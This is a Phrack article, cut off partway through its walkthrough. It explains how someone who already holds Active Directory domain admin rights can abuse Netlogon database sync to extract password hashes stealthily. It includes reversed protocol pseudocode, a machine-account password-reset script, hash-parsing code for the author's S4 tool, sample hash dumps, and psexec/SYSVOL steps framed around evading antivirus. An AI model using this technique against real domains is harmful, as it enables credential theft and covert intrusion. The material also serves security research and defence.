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.:: Abusing Netlogon to steal an Active Directory's secrets ::.
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Current issue : #68 | Release date : 2012-04-14 | Editor : The Phrack Staff
| Introduction | The Phrack Staff |
| Phrack Prophile on FX | The Phrack Staff |
| Phrack World News | TCLH |
| Linenoise | various |
| Loopback | The Phrack Staff |
| Android Kernel Rootkit | dong-hoon you |
| Happy Hacking | anonymous author |
| Practical cracking of white-box implementations | sysk |
| Single Process Parasite | Crossbower |
| Pseudomonarchia jemallocum | argp & huku |
| Infecting loadable kernel modules: kernel versions 2.6.x/3.0.x | styx^ |
| The Art of Exploitation: MS IIS 7.5 Remote Heap Overflow | redpantz |
| The Art of Exploitation: Exploiting VLC, a jemalloc case study | huku & argp |
| Secure Function Evaluation vs. Deniability in OTR and similar protocols | greg |
| Similarities for Fun and Profit | Pouik & G0rfi3ld |
| Lines in the Sand: Which Side Are You On in the Hacker Class War | anonymous author |
| Abusing Netlogon to steal an Active Directory's secrets | the p1ckp0ck3t |
| 25 Years of SummerCon | Shmeck |
| International Scenes | various |
Title : Abusing Netlogon to steal an Active Directory's secrets
Author : the p1ckp0ck3t
==Phrack Inc.==
Volume 0x0e, Issue 0x44, Phile #0x11 of 0x13
|=-----------------------------------------------------------------------=|
|=-----=[ Abusing Netlogon to steal an Active Directory's secrets ]=-----=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ by the p1ckp0ck3t ]=-----------------------=|
|=-----------------------------------------------------------------------=|
|=-------------------=[ anonymous_7406da@phrack.org ]=-------------------=|
|=-----------------------------------------------------------------------=|
<<<->>>
+ Prologue
+ Common tools & appropriate warnings!
+ Meet the Samba 4 project
+ Digging into the Netlogon replication mechanism
+ Extracting the secrets
+ A practical introduction to S4 (Stealth & Secure Secret Stealer)
+ S4 .VS. Windows 2008 Domain Controllers
+ Additional details
+ Last words
+ Bibliography
+ c0de: S4
<<<->>>
---[ 1 - Prologue
If you've been hacking around Windows networks then you must be more than
familiar with common LSA dumping tools such as pwdump [01] & co. You must
also know that they are not only detected by (most?) AV, but furthermore
that they may not work the expected way when an AV/HIPS is installed on
your target. In the worst case a box may even crash! It's fucking annoying.
In a Windows network, crashing a workstation is probably harmless (natural
Windows behavior you could say) because administrators won't notice and its
user will only complain. He may also kick the box, blame "fucking M$" and
ultimately reboot it. But in the end, we all know that he will rather focus
on the recovery of his Office document than look for evidence (assuming he
has the required skills to begin with). The situation is entirely different
when it comes to Windows servers and especially DC (Domain Controllers).
For these kinds of target, one needs to be *very* cautious because an
administrator would find a crash *very* suspicious.
This paper presents a (hopefully) new technique to retrieve the AD (Active
Directory [02])'s secrets using one of its (natural) replication mechanisms
when a DC or a domain administrator's account has been compromised. Because
it's solely based on the Windows API -without any hooks or (too) dirty
tricks- it's a quiet efficient way to retrieve domain users' hashed
passwords.
---[ 2 - Common tools & appropriate warnings!
Let me first begin by a bit of bitching regarding what's already available
out there. There are a lot of tools dealing with "online" password dumping,
most being open source, a few of them being however commercial software (I
haven't tested those). Judging from my experience (and that of many
friends) I can tell you that only a few of them are *really* of interest. I
won't fill a bug report -:]- but remember that a good password dumping tool
should provide:
1. Stability: Using such a tool should *never* be risky for the target's
safety. Interactions with LSASS are really intrusive and
dangerous and should be avoided if possible. You wouldn't
use a kernel sploit without having first understood how
and why it's working right? Same thing here. Crashing
LSASS means crashing the box!
2. Stealthiness: You should never take the risk to be caught by some
AV/HIPS. It's no news that there are Windows APIs that you
can't use anymore and it's obvious that binaries provided
by a famous security website have a good chance to be
detected.
Take for example the case of fgdump & gsecdump. Both are great tools with a
very good chance to succeed. But, can you seriously trust software that:
- Hook well known LSASS functions (using even more known techniques)?
(pwdump6 of fgdump)
- Parse internal LSASS memory? (gsecdump)
- Write well known (=> detected) dll & exe files on disk? (fgdump)
- Start new services? Stop AV services? (fgdump)
- Are closed source? (gsecdump)
Especially with poorly designed AV/HIPS running on the same machine? Don't
take me wrong, I'm not dissing pwdump* (or the similar) tools especially
since they are necessary; but at least patch them a bit, you moron! In the
case of a workstation target, there are no other public alternatives. But
there's another story in the case of a DC target. What can be done in this
matter?
Let me tell you the story that months later would lead me to this paper.
Because it's a story, some details are missing, especially in the reverse
engineering work performed. The idea is to keep the paper simple, as well
as to give you the opportunity to find the last pieces of the puzzle all by
yourself; follow the hints, hacker :]
---[ 3 - Meet the spart^wSamba 4 project
Unix people are well aware of the Samba project but only a few of them are
truly aware of how incredible this project really is. This is not just
about mounting CIFS volumes, but a complete reverse engineering/rewrite of
several parts of Windows. Kudos to the Samba team.
A few years ago, the Samba team decided to start a new branch of their
project: Samba 4 [03]. The goal was to provide an even deeper integration
of a Samba server inside an Active Directory. Now with Samba 4, a Unix
computer can become a (RO)DC and what's even more incredible is that it's
as easy (well if you're lucky) as typing:
------------------------------[ screendump ]-------------------------------
# samba-tool join FOO.BAR DC -Uadministrator@foo.bar --realm=FOO.BAR
---------------------------------------------------------------------------
This command (dc)promotes our Linux box in the AD (in this case the domain
is foo.bar). It's easy to check that it's indeed properly registered as a
legitimate DC using for example an LDAP query:
------------------------------[ screendump ]-------------------------------
$ ldapsearch -x -LLL -h dc1.foo.bar -D "administrator@foo.bar" -W -b
"OU=Domain Controllers,dc=foo,dc=bar" "(objectClass=Computer)" cn
Enter LDAP Password: *******
dn: CN=DC1,OU=Domain Controllers,DC=foo,DC=bar
cn: DC1 <-- first DC
dn: CN=MEDIA,OU=Domain Controllers,DC=foo,DC=bar
cn: MEDIA <-- second DC = our proud little Linux
---------------------------------------------------------------------------
As all traditional DC functions are properly running, Kerberos services are
running as well to authenticate domain users whenever it is required:
------------------------------[ screendump ]-------------------------------
# samba-tool samdump
[...]
Administrator:500:BAC14D04669EE1D1AAD3B435B51404EE:\
FBBF55D0EF0E34D39593F55C5F2CA5F2:[UX]:LCT-4F1B2611
Guest:501:NO PASSWORDXXXXXXXXXXXXXXXXXXXXX:\
NO PASSWORDXXXXXXXXXXXXXXXXXXXXX:[NDUX]:LCT-00000000
krbtgt:502:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\
D25E142705B3C1B9122309D194E0B36F:[DU]:LCT-4F1B1EFC
SUPPORT_388945a0:1001:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\
4CB5D040611B3FF00F17AF7DC344F97C:[DUX]:LCT-4F1B196F
DC1$:1003:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\
A59B7CDD1167816DFDD8C5F310ACCEC0:[S]:LCT-4F1B1F2F
tofu:1117:E91851A7E394D006ABD3B435B31404EE:\
15221599C25FA333EA6044C0513ADD45:[UX]:LCT-4F1B23FB
HAXOR$:1120:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\
88369D133A118783D46D1C6344E99B08:[W]:LCT-4F1B366B
cheese:1121:BC5F4D08D49A0099AAD3B43CB51404EE:\
3E21E05DD9E4E790CB3783D9292F80F7:[UX]:LCT-4F1BE1F2
MEDIA$:1122:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\
72CCE806701E837DCBB33B29A9D48E97:[S]:LCT-4F1C3AB1
[...]
---------------------------------------------------------------------------
When I discovered how mature the Samba 4 project had become and what it
allowed me to perform, I started to imagine how I could take advantage of
the situation. The first idea I came up with was to introduce a temporary
Samba 4 DC in the AD infrastructure, dump the passwords and immediately
dcpromote it again (=remove it from the AD). However this idea is really
bad regarding the criteria that I gave earlier:
- Stability: No matter how functional Samba 4 may appear, it's many
years too soon to use it for serious purpose. To give you an example,
I destroyed many testing environments as I was playing with Samba 4
(merely using it in fact).
- Stealthiness: I doubt there is even one person able to tell us how
many modifications the introduction of a new DC would bring in the
AD. Do you honestly think that you could introduce a DC, make it
disappear and that no administrator would ever be able to tell that
it was there? I'm not taking the risk and neither should you.
For these two reasons, it was wise to resign (interestingly, as I would be
told later, some French guy apparently didn't [04]).
At this point, I had no more ideas until I realized that network traffic
was exchanged between DC1 (another DC from the domain) and MEDIA when I was
typing the samdump command. More precisely, and thanks to Wireshark's
dissectors (courtesy of the Samba team), I was able to observe the
following events:
1. NTLM Authentication Protocol used to authenticate MEDIA
2. MEDIA binding on \\DC3.FOO.BAR\IPC$\lsarpc and calling
-> lsa_OpenPolicy2() (opnum 44)
-> lsa_QueryInfoPolicy2 (opnum 46)
3. MEDIA binding on \\DC3.FOO.BAR\IPC$\netlogon and calling
-> NetrServerReqChallenge (opnum 4)
-> NetrServerAuthenticate2 (opnum 15)
4. MEDIA binding again (*) on \\DC3.FOO.BAR\IPC$\netlogon and calling
-> NetrDatabaseSync (opnum 8)
-> NetrDatabaseSync (opnum 8)
-> NetrDatabaseSync (opnum 8)
(* Using 2 different binds in step 3 & 4 seems weird at first but it will
be explained later.)
I was immediately interested in the NetrDatabaseSync() function and googled
a bit to see if I could find some documentation. Fortunately, Microsoft
documents this function; it is a wrapper of NetrDatabaseSync2() [05].
-----------------------[ MS official documentation ]-----------------------
NTSTATUS NetrDatabaseSync2(
[in, string] LOGONSRV_HANDLE PrimaryName,
[in, string] wchar_t* ComputerName,
[in] PNETLOGON_AUTHENTICATOR Authenticator,
[in, out] PNETLOGON_AUTHENTICATOR ReturnAuthenticator,
[in] DWORD DatabaseID,
[in] SYNC_STATE RestartState,
[in, out] unsigned long* SyncContext,
[out] PNETLOGON_DELTA_ENUM_ARRAY* DeltaArray,
[in] DWORD PreferredMaximumLength
);
[...]
The NetrDatabaseSync2 method returns a set of all changes applied to the
specified database since its creation. It provides an interface for a BDC
to fully synchronize its databases to those of the PDC.
[...]
---------------------------------------------------------------------------
So, it seemed safe to assume that the network traffic observed was the
consequence of a synchronization mechanism. If you're familiar with Windows
networks then there is something that should immediately draw your
attention: the documentation is mentioning PDC (Primary Domain Controller)
& BDC (Backup Domain Controller) which are pre-Windows2000 (= NT4)
concepts. Indeed, Windows 2000 introduced Active Directory which uses a
different logic. Wikipedia [06] explains it perfectly:
-----------------[ Wikipedia: Primary Domain Controller ]------------------
In later releases of Windows, domains have been supplemented by the use of
Active Directory services. In Active Directory domains, the concept of
primary and secondary domain controller relationships no longer applies.
Primary domain controller emulators hold the accounts databases and
administrative tools. [...] The same rules apply; only one PDC may exist on
a domain, but multiple replication servers may still be used.
---------------------------------------------------------------------------
Note: "later releases" means Windows 2000 or above.
So I came up with the conclusion that Samba 4 was (and still is) using an
old -now emulated- mechanism to synchronize the AD database between its
DCs. More precisely in Active Directory, a unique DC holds the PDC FSMO
role [12], the other DCs being (emulated) BDC as a result. Now pay
attention to the "DatabaseID" parameter passed to NetrDatabaseSync2():
-----------------------[ MS official documentation ]-----------------------
DatabaseID: The identifier for a specific database for which the changes
are requested. It MUST be one of the following values.
Value Meaning
----- -------
0x00000000 Indicates the SAM database.
0x00000001 Indicates the SAM built-in database.
0x00000002 Indicates the LSA database.
---------------------------------------------------------------------------
Assuming an attacker could call NetrDatabaseSync2() with DatabaseID=0 from
an (emulated) BDC (= a compromised DC), then he would likely be able to
retrieve the user database (SAM), which should include hashed passwords as
well, right?
I was very suspicious at first because the documentation wasn't mentioning
anything about the LSA queries and lsa_QueryInfoPolicy2() is still
currently undocumented (afaik). I was afraid that this would complicate
things. I could have started to dig inside Samba 4's code (which is quite
messy unfortunately) but I had instead a much better idea. What if this API
was implemented in some native program available with Windows Server?
Guess the answer.
---[ 4 - Digging into the Netlogon replication mechanism
If you're familiar with Windows sysadmin stuff then you must be well aware
of the "Remote Server Administration Tools" [07] which provides a set of
useful new commands for the CLI, including the one I was looking for:
nltest.exe (now native under Windows 2008 FYI).
Here is how Microsoft describes the tool:
-----------------------[ MS official documentation ]-----------------------
You can use nltest to:
Get a list of domain controllers
Force a remote shutdown
Query the status of trust
Test trust relationships and the state of domain controller replication
in a Windows domain
Force a user-account database to synchronize on Windows NT version 4.0
or earlier domain controllers <-- synchronize + NT4 == JACKPOT?
---------------------------------------------------------------------------
The last sentence is interesting, right?
Looking at the IAT of nltest.exe (for Windows 2003), I saw that there were
entries for I_NetServerReqChallenge(), I_NetServerAuthenticate() and
I_NetDatabaseSync(), all of them being imported from NETAPI32.dll and
(strangely) undocumented.
A short look at them convinced me that they were mere wrappers for RPC
calls to (respectively) NetrServerReqChallenge(), NetrServerAuthenticate()
and NetrDatabaseSync() located in netlogon.dll and obviously called using a
binding to the named pipe \\%COMPUTERNAME%\IPC$\netlogon. What's cool with
these functions is that they _are_ documented in [08] and a tiny
modification apart, their prototypes match those of their NETAPI32.dll
cousins.
To make things even easier, I observed that all our targeted functions were
called inside one big function, arbitrarily called SyncFunction() from now
on. Reversing SyncFunction() was a task which proved to be really easy
thanks to Microsoft's API documentation.
Assuming DC2 requests a synchronization from its PDC (DC1), this gives the
approximate pseudo-code (I omitted details about the assembly for
clarification purposes, but you can find them in the uuencoded C code at
the end of the article):
-----------------------------[ SyncFunction() ]----------------------------
# Step 1:
# ClientChallenge is an 8 bytes array randomly chosen
RANDOM(ClientChallenge);
# Step 2:
# DC2 sends its challenge and requests one (also an 8 bytes array)
# from DC1
ZERO(ServerChallenge);
I_NetReqChallengeFunc(
(WCHAR) L"\\\\" + DC1_FQDN,
(WCHAR) DC2_HOSTNAME,
ClientChallenge,
[OUT] ServerChallenge);
# Step 3:
# The client creates a Unicode object out of its machine account name
# (suffix is '$') and hashes it using SystemFunction007() which is an
# MD4()
# The resulting hash (NTLM) is an 8 bytes array: MD4_HASH
UnicodeString(ComputerName, "DC2$")
ZERO(MD4_HASH);
SystemFunction007((UnicodeString)ComputerName, MD4_HASH);
# Step 4:
# To authenticate itself, the client will need to compute a new
# challenge (NewClientChallenge).
# To do so, the client builds a DES key (SessionKey) using the two
# challenges and the previously computed hash.
ZERO(SessionKey, 16);
NlMakeSessionKey(
MD4_HASH,
ClientChallenge,
ServerChallenge,
[OUT] SessionKey);
# Step 5:
# The client computes NewClientChallenge using SessionKey.
Encrypt000(
ClientChallenge,
[OUT] NewClientChallenge,
SessionKey);
# Step 6:
# The client sends NewClientChallenge to authenticate itself.
# If the answer is the correct one, the server will acknowledge
# the identity of the client and gives him back his own challenge
# (NewServerChallenge)
ZERO(NewServerChallenge);
I_NetServerAuthenticate(
(WCHAR) L"\\\\" + DC1_FQDN,
L"DC2$", # DC2's machine account name
ServerSecureChannel = 6,
(WCHAR) L"DC2", # DC2's hostname
NewClientChallenge,
[OUT] NewServerChallenge,
NegotiateFlags);
# Step 7:
# The client needs to know that he can trust the server so the
# authentication has to be _mutual_. Imagine if a rogue DC was sending
# a false SAM, this would allow an attacker to authenticate himself on
# DC2 using spoofed credentials.
#
# To check the identity of the server, NewServerChallenge must have
# been calculated using ServerChallenge and SessionKey which is common
# to DC1 and DC2.
Encrypt000(
ServerChallenge,
[OUT] ExpectedKey,
SessionKey);
if( NewServerChallenge != ExpectedKey )
{
exit(1);
}
# Step 8:
# For each type of database (DatabaseID), DC2 computes a new challenge
# which is stored in Authenticator and retrieves the database object
# DeltaArray. After each call, the client checks the authenticity of
# the data returned.
for(DatabaseID=0; DatabaseID<3; DatabaseID++)
{
NlBuildAuthenticator(
NewClientChallenge,
SessionKey,
[OUT] Authenticator);
ZERO(ReturnAuthenticator);
I_NetDatabaseSync(
(WCHAR) L"\\\\" + DC1_FQDN,
(WCHAR) DC2_HOSTNAME,
Authenticator,
ReturnAuthenticator,
DatabaseID,
SyncContext=0,
[OUT] DeltaArray,
-1);
if( NlUpdateSeed(
NewClientChallenge,
ReturnAuthenticator,
SessionKey) == 0 )
{
exit(1);
}
}
---------------------------------------------------------------------------
With the additional functions:
-----------------------------[ subfunctions ]------------------------------
# This function uses the 14 first bytes of SessionKey to compute
# a new challenge out of an old one. Both challenges are 8 bytes
# arrays.
#
# new = DES(DES(old))
Encrypt000(
ClientChallenge,
NewChallenge,
SessionKey)
{
BYTE TempOutput[8];
ZERO(NewChallenge);
SystemFunction001(ClientChallenge, SessionKey[0..6], TempOutput);
SystemFunction001(TempOutput, SessionKey[7..13], NewChallenge);
# TempOutput = DES(in=ClientChallenge, k=SessionKey[0..6])
# NewChallenge = DES(in=TempOutput, k=SessionKey[7..13])
}
---
# The SessionKey is calculated using a combination of ClientChallenge
# and ServerChallenge (to avoid replay attacks I believe).
# Because client & server both know the MD4 value (a shared key between
# them), they both can compute safely the SessionKey, but an attacker
# without this knowledge will be unable to.
NlMakeSessionKey(
MD4,
ClientChallenge,
ServerChallenge,
SessionKey)
{
BYTE TempOut[8];
ZERO(SessionKey)
SessionKey[0..3] = ClientChallenge[0..3] + ServerChallenge[0..3];
SessionKey[4..7] = ClientChallenge[4..7] + ServerChallenge[4..7];
SystemFunction001(SessionKey[0..7], MD4[0..6], TempOut);
SystemFunction001(TempOut, MD4[9..15], SessionKey);
# TempOut = DES(SessionKey[0..7], MD4[0..6])
# SessionKey = DES(TempOut, MD4[9..15])
}
---
# This function builds the Authenticator necessary for each
# *DatabaseSync() call. The authenticator includes a Timestamp which is
# used in the computation of the new Challenge.
NlBuildAuthenticator(
NewClientChallenge,
SessionKey,
Authenticator
)
{
FILETIME Time;
ZERO(Authenticator);
GetSystemTimeAsFileTime(Time);
RtlTimeToSecondsSince1970(
Time,
Authenticator->Timestamp);
NewClientChallenge[0..3] += Authenticator->Timestamp;
Encrypt000(
NewClientChallenge,
Authenticator->Credential,
SessionKey);
}
---
# The server is supposed to acknowledge securely the request.
# This function checks that the acknowledgment is indeed from
# the server and not from some rogue DC.
NlUpdateSeed(
NewClientChallenge,
ReturnAuthenticator,
SessionKey
)
{
BYTE TempOut[8];
NewClientChallenge[0]++;
Encrypt000(
NewClientChallenge,
TempOut,
SessionKey);
if( ReturnAuthenticator->Credential == TempOut )
return 1;
return 0;
}
---------------------------------------------------------------------------
Let's put aside the usual Microsoft crypto weirdness of the protocol
because this is not the subject of this article. In a nutshell:
- The client (BDC) and the server (PDC) both compute a session key
using random challenges (to avoid replay attacks) and a 'secret' MD4
key.
- Once a trusted bond between them is established, the server sends
several objects (of type DeltaArray) which should contain the
expected secrets. The trusted bond is called a 'secure channel' in
Microsoft's documentation.
- To avoid man-in-middle attempts, the exchanges are somehow
authenticated using the session key (which has another purpose, but
that's another story my friends).
Now, if you have been attentive you may have realized that I never
mentioned any LSA related functions (remember lsarpc bind?) and that the
session key would be really easy to deduce for a passive observer (sniffer)
because the shared secret (%BDC_NAME% + "$") is predictable. And indeed, it
didn't work when I first tested the code built upon the reverse engineering
process. I_NetServerAuthenticate() kicked me out with the classical "Access
Denied" message.
So what went wrong? I was almost sure that the lsa_() functions were not
necessary because they are not used in nltest.exe. So this led me to think
that somehow NewClientChallenge wasn't correct. Assuming the algorithm was
well reversed, the session key produced by NlMakeSessionKey() had to be
erroneous. Strange? Not quite. Remember that the MD4 key is somehow weird.
Even considering Microsoft's past, it was hard to believe that they would
base the security of their protocol on such a value. And indeed they aren't
that crazy! Using the appropriate hook in LSASS, I found out that this MD4
was in fact the client's computer account hash (NTLM)! A result that I
would later find almost everywhere whenever looking for some information on
the so-called 'secure channel'. Sometimes you just have to keep looking...
The problem is that retrieving the BDC's computer account NTLM is
(probably) as hard as retrieving the whole SAM itself. So how do we deal
with the Ouroboros? The solution is actually quite simple: we may not know
the NTLM hash, but we can easily change it! Look at this nice piece of
code:
-------------------------------[ passwd.vbs ]------------------------------
Dim objComputer
Set objComputer = GetObject("WinNT://foo.bar/DC2$")
objComputer.SetPassword "dummy"
Wscript.Quit
---------------------------------------------------------------------------
Executing the VBS script on the 'BDC' is enough (remember that we own a
domain administrator account). The cool thing with this trick is that the
BDC will then synchronize its password with the 'PDC' for us. Cool trick
right? And this proved to be enough to have I_NetDatabaseSync()
successfully returning. In the tool that I wrote, I implemented it using
the IADsUser::SetPassword() method.
>>>>>>>>>>>>>>>>>>
I was lucky with the nltest.exe analysis because I didn't use the Windows
2008 version. On Windows 2008 server, I_NetDatabaseSync() isn't used so it
would have forced me to reverse engineer Samba's C code which is far more
difficult believe me :-P
<<<<<<<<<<<<<<<<<<
---[ 5 - Extracting the secrets
Now that this part of the job is finished, we only need to know how to
parse the DeltaArray objects, something partially documented by Microsoft
[09]. nltext.exe doesn't perform this task (it only tests that the
synchronization is working and frees the DeltaArray objects that it
receives) but obviously samba-tool does.
-----[ 5.1 - Browsing samba-tool's source code
Everything starts in source4/samba_tool/samba_tool.c:
1. main() calls binary_net(), the main function
2. binary_net() then:
- Initializes the Python interpreter using Py_Initialize()
- Creates a dictionary out of the "samba.netcmd" module using
py_commands() which returns the Python object "commands". This
object is created in:
source4/scripting/python/samba/netcmd/__init__.py:
-------------------------------------------------------
commands = {}
from samba.netcmd.pwsettings import cmd_pwsettings
commands["pwsettings"] = cmd_pwsettings()
from samba.netcmd.domainlevel import cmd_domainlevel
commands["domainlevel"] = cmd_domainlevel()
from samba.netcmd.setpassword import cmd_setpassword
commands["setpassword"] = cmd_setpassword()
from samba.netcmd.newuser import cmd_newuser
commands["newuser"] = cmd_newuser()
from samba.netcmd.netacl import cmd_acl
[...]
-------------------------------------------------------
3. There are 3 possible situations:
- If argv[1] is handled by a Python module then commands[argv[1]]
is not void and the corresponding method is called.
- Else if argv[1] is in net_functable[] then a C function is
handling the command.
- Else argv[1] is not a legitimate command => error msg!
In the case of 'samdump', it is implemented in the C language by the
net_samdump() function available in source4/samba_tool/vampire.c. This
function calls libnet_SamSync_netlogon() (source4/libnet/libnet_samsync.c)
which:
- Establishes the secure channel
- Calls dcerpc_netr_DatabaseSync_r() 3 times (1 per DatabaseID value)
- Calls samsync_fix_delta() in (libcli/samsync/decrypt.c) which handles
the decryption (if required). Remember this function.
-----[ 5.2 - Understanding database changes
I_NetDatabaseSync() returns DeltaArray which is a NETLOGON_DELTA_ENUM_ARRAY
object. It's very well documented by Microsoft:
-----------------------[ MS official documentation ]-----------------------
// http://msdn.microsoft.com/en-us/library/cc237083%28v=prot.13%29.aspx
typedef struct _NETLOGON_DELTA_ENUM_ARRAY {
DWORD CountReturned;
[size_is(CountReturned)] PNETLOGON_DELTA_ENUM Deltas;
} NETLOGON_DELTA_ENUM_ARRAY,
*PNETLOGON_DELTA_ENUM_ARRAY;
// http://msdn.microsoft.com/en-us/library/cc237082%28v=prot.13%29.aspx
typedef struct _NETLOGON_DELTA_ENUM {
NETLOGON_DELTA_TYPE DeltaType;
[switch_is(DeltaType)] NETLOGON_DELTA_ID_UNION DeltaID;
[switch_is(DeltaType)] NETLOGON_DELTA_UNION DeltaUnion;
} NETLOGON_DELTA_ENUM,
*PNETLOGON_DELTA_ENUM;
---------------------------------------------------------------------------
So basically DeltaArray is an array of NETLOGON_DELTA_ENUM objects.
Depending on their DeltaType field, the receiver will know how to parse
their internal fields (DeltaID and DeltaUnion). According to Microsoft,
DeltaType may take the following values:
-----------------------[ MS official documentation ]-----------------------
// http://msdn.microsoft.com/en-us/library/cc237100%28v=prot.13%29.aspx
The NETLOGON_DELTA_TYPE enumeration defines an enumerated set of possible
database changes.
typedef enum _NETLOGON_DELTA_TYPE
{
AddOrChangeDomain = 1,
AddOrChangeGroup = 2,
DeleteGroup = 3,
RenameGroup = 4,
AddOrChangeUser = 5,
DeleteUser = 6,
RenameUser = 7,
ChangeGroupMembership = 8,
AddOrChangeAlias = 9,
DeleteAlias = 10,
RenameAlias = 11,
ChangeAliasMembership = 12,
AddOrChangeLsaPolicy = 13,
AddOrChangeLsaTDomain = 14,
DeleteLsaTDomain = 15,
AddOrChangeLsaAccount = 16,
DeleteLsaAccount = 17,
AddOrChangeLsaSecret = 18,
DeleteLsaSecret = 20,
DeleteGroupByName = 20,
DeleteUserByName = 21,
SerialNumberSkip = 22
} NETLOGON_DELTA_TYPE;
---------------------------------------------------------------------------
When dcerpc_netr_DatabaseSync_r() returns, samsync_fix_delta() is called
for each NETLOGON_DELTA_ENUM object. The source code of this function is
straightforward (libcli/samsync/decrypt.c):
--------------------------[ Samba 4 source code ]--------------------------
NTSTATUS samsync_fix_delta(TALLOC_CTX *mem_ctx,
struct netlogon_creds_CredentialState *creds,
enum netr_SamDatabaseID database_id,
struct netr_DELTA_ENUM *delta)
{
NTSTATUS status = NT_STATUS_OK;
switch (delta->delta_type) {
case NETR_DELTA_USER:
status = fix_user(mem_ctx,
creds,
database_id,
delta);
break;
case NETR_DELTA_SECRET:
status = fix_secret(mem_ctx,
creds,
database_id,
delta);
break;
default:
break;
}
return status;
}
---------------------------------------------------------------------------
So to summarize, amongst all the NETLOGON_DELTA_ENUM that
I_NetDatabaseSync() provides us, the only important ones are those of type
AddOrChangeUser (NETR_DELTA_USER) and AddOrChangeLsaSecret
(NETR_DELTA_SECRET).
-----[ 5.3 - Retrieving the hashes
Because the subject of this paper is pwdump-like tools, we will only focus
our attention on the AddOrChangeUser type. Here is the code that I used to
extract the useful objects:
----------------------------[ S4 source code ]-----------------------------
PNETLOGON_DELTA_ENUM Deltas = DeltaArray->Deltas;
for(i=0; i<DeltaArray->CountReturned; i++)
{
#ifdef __debug__
if(Deltas->DeltaType == AddOrChangeLsaSecret)
{
[...]
}
#endif
if(Deltas->DeltaType == AddOrChangeUser)
{
PNETLOGON_DELTA_USER DUser;
DUser = (PNETLOGON_DELTA_USER)
Deltas->DeltaUnion.DeltaUser;
arcfour_crypt_blob(
DUser->PrivateData.Data,
DUser->PrivateData.DataLength,
SessionKey,
16);
[...]
}
[...]
---------------------------------------------------------------------------
The NETLOGON_DELTA_USER object holds information about a particular User
of the domain including its Username and (hashed) password. However
depending on the value of NtPasswordPresent and LmPasswordPresent, the
password may not be available in the EncryptedNtOwfPassword and
EncryptedLmOwfPassword fields of the structure. In this case, they are
stored instead in the PrivateData.Data buffer which is RC4 encrypted
using the SessionKey. Practically speaking, this last case is the only one
I've ever witnessed.
The PrivateData.Data buffer holds a copy of the information returned by
SamIGetPrivateData() which is a function called by pwdump6. The current
(and potentially former) hashed passwords are stored somehow in this buffer
and ripping the appropriate functions in the pwdump6 tool grants us the
Holy Grail. There is no need to explain what is already common knowledge in
the windows hacking world. Have a look at the DealWithDeltaArray()
function in my code if you have any questions.
---[ 6 - A practical introduction to S4 (Stealth & Secure Secret Stealer)
All this work ultimately resulted in a single tool: S4 (courtesy of the
grateful p1ckp0ck3t to the Samba team ;]). I've chosen to release it under
the GPL because I certainly disliked the idea of the pigs from MSF
including it in their framework. That said, "let the hacking begin".
Context
+++++++
We have a CMD shell on some XP/Seven box part of the 'foo.bar' 2003 domain.
Somehow we also got our hands on the credentials of a domain administrator:
"Administrator / foo123"
Our goal is simple; we now want to extract the passwords from the AD.
Locating the PDC
++++++++++++++++
Retrieving the location of the DC is as easy as performing a DNS request on
the domain name (foo.bar). However the problems with this approach are
that:
- it gives DNS servers as well,
- it doesn't allow us to locate the PDC amongst the DCs.
Fortunately, the dsquery tool is providing the information:
------------------------------[ screendump ]-------------------------------
C:\Users\Administrator>dsquery server -hasfsmo PDC
"CN=DC3,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=
foo,DC=bar"
C:\Users\Administrator>
---------------------------------------------------------------------------
Now if for some reason this command isn't available, you can use the -D
option of S4 which is based on DsGetDomainControllerInfo().
------------------------------[ screendump ]-------------------------------
C:\Users\Administrator>S4.exe -D -d foo.bar
[> Discovery mode
- DC controller 0 is DC3.foo.bar [PDC]
- DC controller 1 is DC4.foo.bar
C:\Users\Administrator>
---------------------------------------------------------------------------
At this point, we know that DC3 is the PDC and DC4 (the only remaining DC)
is de facto a BDC. S4.exe will thus be executed from DC4, targeting DC3.
Uploading S4
++++++++++++
To run S4 on DC4, you first have to upload it. \\%DCNAME%\SYSVOL is
convenient for this purpose. To drop a file in this directory, you will use
the Domain Administrator account:
------------------------------[ screendump ]-------------------------------
c:\S4>hostname
WINXP
C:\S4>net use P: \\DC4\SYSVOL
Enter the user name for 'DC4': administrator
Enter the password for DC4:
The command completed successfully.
C:\S4>copy S4.exe P:\randomname.exe
1 file(s) copied.
C:\S4>net use P: /DELETE
P: was deleted successfully
---------------------------------------------------------------------------
Checking the state of the replication
+++++++++++++++++++++++++++++++++++++
It's always good to have an idea of how healthy the replication is on this
Active Directory because we will interfere deeply. I've never tested the
technique in an environment prone to replication troubles so I would
recommend you to be careful.
First log into the BDC using psexec (or your own tool). Then use repadmin
which will most likely be installed on the box (if not even native) as it
will give you the details of last operations:
------------------------------[ screendump ]-------------------------------
C:\S4>.\Tools\PsTools\psexec.exe \\DC4 -u FOO\administrator cmd.exe
PsExec v1.94 - Execute processes remotely
Copyright (C) 2001-2008 Mark Russinovich
Sysinternals - www.sysinternals.com
Password: ****** <-- foo123
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>repadmin /showrepl *
repadmin running command /showrepl against server dc3.foo.bar
Default-First-Site-Name\DC3
DC Options: IS_GC
Site Options: (none)
DC object GUID: 265b7dba-578b-47f1-91ca-78b3019e937d
DC invocationID: 265b7dba-578b-47f1-91ca-78b3019e937d
==== INBOUND NEIGHBORS ======================================
DC=foo,DC=bar
Default-First-Site-Name\DC4 via RPC
DC object GUID: 5e66dd87-69a1-485e-8e4e-172def165b06
Last attempt @ 2012-03-21 00:32:47 was successful.
[...]
repadmin running command /showrepl against server dc4.foo.bar
Default-First-Site-Name\DC4
DC Options: (none)
Site Options: (none)
DC object GUID: 5e66dd87-69a1-485e-8e4e-172def165b06
DC invocationID: be4bbd07-2a84-4c73-a00c-8260999ea3f8
==== INBOUND NEIGHBORS ======================================
DC=foo,DC=bar
Default-First-Site-Name\DC3 via RPC
DC object GUID: 265b7dba-578b-47f1-91ca-78b3019e937d
Last attempt @ 2012-03-21 00:46:37 was successful.
[...]
C:\WINDOWS\system32>
---------------------------------------------------------------------------
This AD is healthy because there is no problem reported. BTW one little
advice: avoid using your beloved MSF as a psexec-like tool because it has a
good chance to be detected by an AV.
Running S4 on the BDC
